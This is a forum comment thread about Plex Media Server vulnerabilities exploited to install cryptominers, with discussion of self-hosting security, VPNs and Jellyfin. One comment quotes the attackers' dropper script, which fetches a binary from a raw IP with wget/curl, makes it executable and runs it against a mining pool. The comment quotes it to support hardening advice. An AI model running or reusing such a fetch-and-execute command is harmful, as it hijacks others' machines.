Plex vulnerabilities being exploited in the wild to drop a cryptominer
Posted by mindracer 3 days ago
Comments
Comment by iamjackg 2 days ago
Comment by freedomben 2 days ago
Comment by ProllyInfamous 1 day ago
I'd nuke and start over (or known-good prior snapshot).
Comment by leptons 2 days ago
Fortunately Claude helped me identify the problem, and helped me fix it all on my linux server. I'm a bit out of my depth with anything difficult on Linux, and AI has really been helping a lot.
Comment by ProllyInfamous 1 day ago
LLM-decoding of Linux's advanced underpinnings is what finally allowed me to switch-over, full-time (after three decades of failed distro attempts)...
----
I didn't have internet for the past few days, and a local 30b model helped me move from "absolute beginner" to "knows just enough to be dangerous" in the TrueNAS ZFS file-system-management process. Entirely offline learning aquisition (with plenty of "errors," but it helped me decipher what so much of the technically-obtuse underpinnings are (i.e: wtf does this sub-sub-sub tickbox mean with "bullshit option XYZ"?)!
Comment by leptons 19 hours ago
My Windows system started having problems resuming from hibernate, it would just end up restarting when I woke it, losing all my application state, etc. Claude diagnosed it to being an old Nvidia driver, told me to just install the latest version, and now there are no more problems with hibernate since. I don't know if I could have figured that out on my own and I've been using Windows since v3.0. It would have taken me forever to narrow it down, and Claude did it in about 10 seconds.
I also recently switched to Linux on my server and a bunch of VMs, and it was a shaky start at first, but now that I have Claude to help, it's become pretty simple.
I'm only paying $20/mo for Claude, and I have to wonder - when they raise the price, will I follow? I think I have to at this point, but the question is how much will the raise the price, and how much am I willing to pay for it.
Comment by ProllyInfamous 14 minutes ago
Essentially for free.
I think this is the biggest thing here. With p>0.05 ("95% of the time it's correct [for simple things]"), and an effective cost of nothing... this is why Anthropic can publish it's-so-obvious™ papers on "reducing junior humans" and they're still frontpage tech news. This is what is so scary: busywork is gone.
What do you do with a general populace that has nothing productive to do (and any attempts at make-work are easily defeated by lay-AI-vibecoders)?
Comment by willio58 1 day ago
Comment by xavdid 2 days ago
After a reboot, I traced it back to a folder in `Library/Application Support` which included a `config.json` that mentioned gulf[.]moneroocean[.]stream, so I knew I'd been popped. Cleanup was easy enough (the files themselves, plus the launch daemon), but it's annoying.
I don't do dev work on that machine (it's really just for plex & stuff) so it must have been some sort of vulnerability in Plex (but not the one described in OP) or macOS itself. Interestingly, I was up to date on my Plex install, but my macOS version was behind what was apparently an important security update related to an RCE (Sequoia 15.8).
Comment by VCFundedGenYer 2 days ago
Comment by dijit 2 days ago
Comment by td521534f12 2 days ago
Comment by VoidWhisperer 2 days ago
Comment by dijit 2 days ago
And anyway it drains the battery; and maybe I don't want to add VPN to every device I want to listen to music with, like my PC at work.
Comment by ks6g10 2 days ago
Comment by rajamaka 2 days ago
Comment by hxugufjfjf 1 day ago
Comment by whycome 2 days ago
Comment by Shank 2 days ago
Comment by Oxodao 2 days ago
Comment by gus_ 1 day ago
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
#!/bin/sh
if ps -eo comm= | grep -qx 'x12345'; then
exit 0
fi
cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
Comment by NelsonMinar 2 days ago
Plex2Shell is the proof-of-concept exploit that is feeding this. An LLM chained together several CVEs: https://zmain.info/blog/plex2shell
Comment by cataflam 2 days ago
Stage 1: one endpoint checks for the token header existence, not its content. From the writeup I'm guessing all the other endpoints do check the content, so why?
Stage 3: checks if the URL starts with http://127.0.0.1, not if the domain is 127.0.0.1, to expose an admin token. Ouch.
Comment by 2OEH8eoCRo0 2 days ago
Affects an older version of Plex and was patched in August.
Comment by TheCondor 2 days ago
I have a lifetime subscription, I use plex to share the media with the wife and kids on all of our devices, it does the job. I won't bitch about their streaming ambitions, but doing automatic updates and taking security seriously would go far for them.
Comment by eddythompson80 2 days ago
With containers it's a questionable/clunky implementation but possible. It only works in one flavor of their official image. On startup it will check if there is an update and download it and replace the application in the container. It breaks the point of containers obviously. It also only runs on startup, so you need to restart the container to get it to run.
Comment by peezd 2 days ago
Comment by HaloZero 2 days ago
Comment by coreyburnsdev 2 days ago
Comment by whycome 2 days ago
Comment by joshstrange 2 days ago
Comment by cosmic_cheese 2 days ago
Comment by ihsw 2 days ago
Comment by HaloZero 2 days ago
Comment by spectre3d 2 days ago
$7.99 on the Canadian iOS App Store. Looks great, bought it immediately. Thanks for the rec!
Comment by Loughla 2 days ago
Selecting a season and then the episode gives you the episode summary instead of just playing the episode.
Hitting back on an episode brings up a side menu sometimes and others it leaves the episode like it should.
Why Plex?
Comment by quietsegfault 2 days ago
I don't have the "back" issue, there's an "X" on the iOS app to tap to exit the video, and the "menu" key on my Apple TV works as always.
So much for unifying the code bases! :D
Comment by gdulli 2 days ago
Comment by robotnikman 2 days ago
Comment by Hikikomori 2 days ago
Comment by psyclobe 1 day ago
Comment by VCFundedGenYer 2 days ago
Comment by wildzzz 2 days ago
Comment by drfuzzy89 2 days ago
Luckily, the whole attack was hilariously incompetent. All of my cores were pegged at 100 so Plex was unusable so I went to investigate and immediately found a process called MyLovelyMiner.
I imagine someone trying to run an illicit crypto miner on other people's hardware would want to do so surreptitiously, but they sure made it as obvious as they possibly could.
Comment by basilikum 2 days ago
Comment by thejazzman 2 days ago
https://amphetamem.es/meme?id=office-space_1999_1140&text=Bu...
Comment by foobarian 2 days ago
This is terrifying. Who runs things like this open to the outside?
Comment by wolrah 2 days ago
Probably the majority of people with a Plex Pass subscription and most Plex users in general.
As far as I see it, Plex's primary purpose is to allow people who have extensive collections of legally obtained digital media to conveniently access it and share access to their friends and family on pretty much any random device from anywhere in the world.
All my home media devices run Kodi, they run Jellyfin, they run all sorts of fully open stuff, but when I travel Plex wins because it runs on basically anything that can stream video and I can sign in to it in seconds without needing to connect a VPN or enter my password on someone else's device.
Comment by falkensmaize 2 days ago
Comment by DaSHacka 2 days ago
Additionally, if they try to connect from an Android TV / Fire Stick, where you can't configure a VPN (and use their ISP's modem, so no wireguard client on the router to transparently route to the subnet), what are you supposed to do?
I feel it may be easier long-term to just contain the Jellyfin daemon to only r/o access to media, putting it behind a subdomain like jellyfin.example.com, and use the dns-01 challenge via LE to only provision a wildcard cert for the domain (IE *.example.com).
Then, have nginx listen on 80/443 with a default server directive that returns 444 for any requests not to the (correct) jellyfin hostname (due to bots hammering 80/443 across the internet on webserver's direct IPs).
Its the only solution I can think of to make it easy for nontechnical users (everything just described is completely invisible to a regular client) while reducing the attack surface area of the daemon.
FWIW, with the aforementioned setup, I got 0 unauthorized requests to my jellyfin server. Just a bunch of bots hammering my IP's 80/443 ports directly with exploits for old (usually wordpress) vulns, but they were all served 444 (IE an immediate TCP connection close without nginx even responding to the request).
Comment by yegle 2 days ago
"Install this app on your Apple TV or Android TV, login with your Gmail, and let me know your email address."
Comment by financetechbro 2 days ago
Comment by DANmode 2 days ago
Comment by skinfaxi 2 days ago
Comment by thejazzman 2 days ago
Every time I want to share with someone I have to stop and debate if I want to possibly have to drive over to their house etc.
So here's my attempt at solving the problem: https://pixelbrite.site/en/profiles
Comment by skinfaxi 2 days ago
Comment by Marsymars 2 days ago
Comment by thejazzman 2 days ago
My intention is to make it work with as little friction as possible
Comment by falkensmaize 2 days ago
Comment by clundin22 2 days ago
Comment by echelon_musk 2 days ago
Comment by eddythompson80 2 days ago
It's less convenient to use and pretty much impossible to share with others. I can figure out a VPN on all my devices for the most part (except for a Boox ereader). Trying to get "family and friends" to install and maintain a VPN on their devices to be able to access services I share with them is a pipe dream.
Comment by izacus 2 days ago
Comment by hxugufjfjf 1 day ago
Comment by wolrah 2 days ago
Also of course friends/family. The most technologically useless people I know can operate Plex and can access my collection with basically no support necessary.
Comment by walthamstow 2 days ago
Comment by mingus88 2 days ago
My plex library has my entire library that I’ve been curating since iTunes was released which is now predominantly FLAC files I buy from Bleep and Bandcamp
Every movie I have ever bought is there too. I suppose technically it’s all illegal right? I copied it. In some cases I even bypassed some things the DMCA outlawed to do so.
And so what?
It’s such a quaint sentiment in 2026 to care about illegal content when the entirety of the LLM industry did this, but far worse, at scale, and nobody has even charged Meta or anyone else with infringement.
Plex and their users is not the problem
Comment by walthamstow 2 days ago
Comment by mingus88 1 day ago
Comment by walthamstow 1 day ago
Comment by bigstrat2003 2 days ago
Two wrongs don't make a right. I try to obtain my content legitimately because all I can control in this world is whether I act right, not whether other people do.
Comment by mingus88 1 day ago
When laws are only enforced against an underclass, they are inherently immoral
Comment by meatball 1 day ago
Comment by ppchain 2 days ago
If it were just me using Plex then it would be different, but I can't realistically expect all my friends and family to get on a tailnet, and so I take the risk with an up-to-date Plex on the internet.
Comment by mingus88 2 days ago
Comment by dewey 2 days ago
Comment by bigstrat2003 2 days ago
Comment by DaSHacka 2 days ago
Comment by bigstrat2003 2 days ago
Comment by mcsniff 2 days ago
Comment by DaSHacka 2 days ago
Comment by symlinkk 2 days ago
Comment by iAMkenough 2 days ago
I think the current version of Docker engine Synology uses was end-of-life 2.5 years ago.
Comment by thenthenthen 2 days ago
Comment by chrisweekly 2 days ago
Comment by quietsegfault 2 days ago
Comment by chrisweekly 2 days ago
just sharing my lived experience
Comment by Dylan16807 2 days ago
Comment by Orygin 2 days ago
Comment by NoMoreNicksLeft 2 days ago
Comment by DaSHacka 2 days ago
Comment by benoau 2 days ago
Comment by doublepg23 2 days ago
The point of Plex is sharing your library with less ... technical users.
If I didn't want to do that, I'd not even use Jellyfin- SMB share and mpv would be fine with me.
Comment by TacticalCoder 2 days ago
A budy of mine has got 30 000 movies and series. Better offer than Netflix (what, easily 4x more choice!?). He's got a 42U rack. He gives free access to his server to his friends and family: it's not a business (so what he risks is also very limited in the country he lives in, for he's not making a business out of it).
It's not because you and I don't run Plex servers accessible from the big bad Internet that others don't enjoy doing it.
Now concerning this miner: I've posted about it in the past here on HN but I only run Jellyfin on my LAN and it's only with throwaway containers: I've got a script that sets up movies/series named/organized the way Jellyfin likes it, then that volume is passed read-only to a transient podman container.
When we're done watching the movie, the podman container is deleted. It's over: it doesn't exists anymore.
All that I care about are data: like family pictures and movies (and, say, other movies).
My Jellyfin server is just a temporary "view" on my actual data.
I don't trust it and don't need to trust it: for it's only future after I'm done watching the movie is to be destroyed.
Comment by ImPostingOnHN 2 days ago
And how did you set up the trigger to automatically spin up the ephemeral jellyfin container when a movie is selected?
Thanks!
Comment by mewse-hn 2 days ago
Comment by aurmc 2 days ago
I share my Plex/Jellyfin with a couple dozen friends and family members, all of varying levels of technical knowledge. “Install an app called Jellyfin on your smart TV” is complicated enough for most people. “Also search for another app called Tailscale and now log in with my credentials, yes it’s going to ask for control over your device’s network acces, don’t worry, it’s fine!” So now it’s just a public URL served up with Caddy.
Nothing bad has happened yet, there’s not much valuable on this machine other than CPU cycles and movies I definitely obtained legally, and I would notice right away if a cryptominer jacked up the CPU to 100%.
Comment by happytoexplain 2 days ago
Comment by thejazzman 2 days ago
Comment by rumblefrog 2 days ago
Comment by thejazzman 2 days ago
History- I started it last year the night before my birthday so I guess it's kinda like a midlife crisis. I've been working on it relentlessly since and kind of want a real job at this point just so I can take PTO.
testflite@pixelbrite.site if interested
Comment by rumblefrog 2 days ago
Comment by thejazzman 2 days ago
There's going to be a very generous free tier and everyone's getting Pixel Brite+ for the foreseeable future.
Free includes all the table stakes features; hardware acceleration, remote access, adaptive bitrates, gapless, lossless, etc.
I may limit superfluous things like the metadata fidelity, make you watch one of those old timey before-the-movie reels "Let's all goto the lobby and get ourselves some snacks!", disable niceties like automatically playing similar music when the queue ends (like Spotify), themes... things like that.
What are your thoughts? Is there anything in particular you're looking out for?
Comment by rumblefrog 15 hours ago
It helps me guard against things like "Hey, this company decided to remove this feature that I use a lot (cough cough, watch together on Plex), or put something behind a paid wall where it was previously free".
With open source, I can at least fork/pin it from some version and merge things from upstream that I want, which is the reason why I was looking at Jellyfin.
Comment by blntechie 2 days ago
Comment by nirav72 1 day ago
Comment by unethical_ban 2 days ago
I run jellyfin on the open internet through caddy. I've done a few things to the configuration to secure it, like user-agent restrictions and fail2ban for login failures, and excessive 400 series errors. I keep it up to date.
Comment by sippingabonedry 2 days ago
The chief complaint is really an indictment of every piece of shit modern web app backend.
Comment by Salgat 2 days ago
Comment by whazor 2 days ago
The trick is finding the best client for the device you want to watch on. There are quite some options.
This is the second time people are getting hacked via Plex vulnerabilities since I have been counting.
Comment by cogman10 1 day ago
Comment by joecool1029 2 days ago
I also maintain a netbird ebuild in my overlay if you want a FOSS alternative to tailscale to put it behind.
Comment by thesmileyone 1 day ago
It's almost like Plex is trying to convince me to dump it for Jellyfin lately
- raising the prices of membership
- making the UI terribly slow on all devices
- constant cve's
- constantly spamming my email with offers despite already paying for premium
Comment by cpill 1 day ago
Comment by zm_0x 2 days ago
For anyone running PMS: the fix is in 1.43.3.10861. Anything older is vulnerable. I reported it July 27 and Plex patched and awarded a $500 bounty within about a week.
If you want to know whether you were hit, the repo has a detection/ directory with YARA rules and a read-only hunt script (github.com/code-zm/plex2shell).
Happy to answer questions about the chain.
Comment by ragnaruss 2 days ago
Comment by zm_0x 1 day ago
Comment by Toslink 2 days ago
Comment by Hetaireia 2 days ago